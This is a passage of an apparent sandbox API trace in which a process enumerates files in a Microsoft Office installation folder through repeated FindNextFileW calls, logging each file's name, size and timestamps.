ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe53eb900, ftLastWriteTime.dwHighDateTime=0x1cab7e4, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaccess.exe.manifest", cAlternateFileName="MSACCE~1.MAN")) returned 1 [0205.930] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e9100, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2e9100, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x14188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAEXP30.DLL", cAlternateFileName="")) returned 1 [0205.930] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.INF", cAlternateFileName="")) returned 1 [0205.930] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd78b00, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dd78b00, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x1aad, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.PPD", cAlternateFileName="")) returned 1 [0205.930] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ccb6a00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa1ff9760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ccb6a00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_en.dub", cAlternateFileName="MSBB80~1.DUB")) returned 1 [0205.930] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21901e00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dc8680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x21901e00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_es.dub", cAlternateFileName="MSCSS7~1.DUB")) returned 1 [0205.930] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2dc400, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa3e79140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1f2dc400, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_fr.dub", cAlternateFileName="MSCSS7~3.DUB")) returned 1 [0205.930] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d49a00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa22a7020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x57d49a00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7en.dll", cAlternateFileName="")) returned 1 [0205.930] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4474ff00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6da2520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4474ff00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7es.dll", cAlternateFileName="")) returned 1 [0205.930] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efba800, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4c02e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5efba800, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7fr.dll", cAlternateFileName="")) returned 1 [0205.930] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfc9700, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dfc9700, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_en.dub", cAlternateFileName="MS79E7~1.DUB")) returned 1 [0205.930] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c14b00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22c14b00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_es.dub", cAlternateFileName="MSCSS7~2.DUB")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x205ef100, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x205ef100, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_fr.dub", cAlternateFileName="MSCSS7~4.DUB")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0xee9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7.dll", cAlternateFileName="")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b94600, ftCreationTime.dwHighDateTime=0x1c879f3, ftLastAccessTime.dwLowDateTime=0x69def8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b94600, ftLastWriteTime.dwHighDateTime=0x1c879f3, nFileSizeHigh=0x0, nFileSizeLow=0x2c5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7db.kic", cAlternateFileName="")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34365600, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e15a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34365600, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7en.kic", cAlternateFileName="")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x13e9f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7es.kic", cAlternateFileName="")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7fr.kic", cAlternateFileName="")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c57810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x3567a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7ge.kic", cAlternateFileName="")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1da59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7jp.kic", cAlternateFileName="")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x81988, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tk.dll", cAlternateFileName="")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ed9dc00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ed9dc00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x10f798, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tkjp.dll", cAlternateFileName="MSET7T~1.DLL")) returned 1 [0205.932] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab61d00, ftCreationTime.dwHighDateTime=0x1bf9d1a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ab61d00, ftLastWriteTime.dwHighDateTime=0x1bf9d1a, nFileSizeHigh=0x0, nFileSizeLow=0xe36, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.ICO", cAlternateFileName="")) returned 1 [0205.932] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4306b00, ftCreationTime.dwHighDateTime=0x1ca223a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4306b00, ftLastWriteTime.dwHighDateTime=0x1ca223a, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0205.932] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9d7360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x36178, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCF.DLL", cAlternateFileName="")) returned 1 [0205.932] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716ee900, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x716ee900, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x6a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFU.DLL", cAlternateFileName="")) returned 1 [0205.932] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x4590, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFUIUTILITIESDLL.DLL", cAlternateFileName="MSOCFU~1.DLL")) returned 1 [0205.932] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dadcd00, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xd61ff3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dadcd00, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xa7f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSODCW.DLL", cAlternateFileName="")) returned 1 [0205.932] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x17b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0205.932] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x12d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEVI.DLL", cAlternateFileName="")) returned 1 [0205.932] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a159300, ftCreationTime.dwHighDateTime=0x1ca91da, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a159300, ftLastWriteTime.dwHighDateTime=0x1ca91da, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0205.932] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa94b500, ftCreationTime.dwHighDateTime=0x1caca29, ftLastAccessTime.dwLowDateTime=0x593a1b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa94b500, ftLastWriteTime.dwHighDateTime=0x1caca29, nFileSizeHigh=0x0, nFileSizeLow=0xa398, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSTYLE.DLL", cAlternateFileName="")) returned 1 [0205.932] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd6297920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0xde180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSYNC.EXE", cAlternateFileName="")) returned 1 [0205.932] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd62e3be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x77978, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.EXE", cAlternateFileName="")) returned 1 [0205.933] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x593c7cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTL.OLB", cAlternateFileName="")) returned 1 [0205.933] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda57df00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd6309d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda57df00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x45578, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTLS.DLL", cAlternateFileName="")) returned 1 [0205.933] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f00800, ftCreationTime.dwHighDateTime=0x1caba23, ftLastAccessTime.dwLowDateTime=0xbde72640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f00800, ftLastWriteTime.dwHighDateTime=0x1caba23, nFileSizeHigh=0x0, nFileSizeLow=0x11560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPJEVTS.DLL", cAlternateFileName="")) returned 1 [0205.933] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab1b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcab1b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x62588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPPT.OLB", cAlternateFileName="")) returned 1 [0205.933] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe57c63a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xd65a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPRJ.OLB", cAlternateFileName="")) returned 1 [0205.933] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6ae000, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xdac3c1c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6ae000, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x4e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="msproof7.dll", cAlternateFileName="")) returned 1 [0205.933] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x1963b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPST32.DLL", cAlternateFileName="")) returned 1 [0205.933] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x6a1356f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xdb4b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.EXE", cAlternateFileName="")) returned 1 [0205.933] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d978100, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d978100, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="mspub.exe.manifest", cAlternateFileName="MSPUBE~1.MAN")) returned 1 [0205.933] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33918f00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33918f00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3ff28, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.TLB", cAlternateFileName="")) returned 1 [0205.933] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ad2d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32ad2d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xd1160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.EXE", cAlternateFileName="")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e550, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSRTEDIT.DLL", cAlternateFileName="")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf055920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xff368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORDB.EXE", cAlternateFileName="")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7931a00, ftCreationTime.dwHighDateTime=0x1cab7c8, 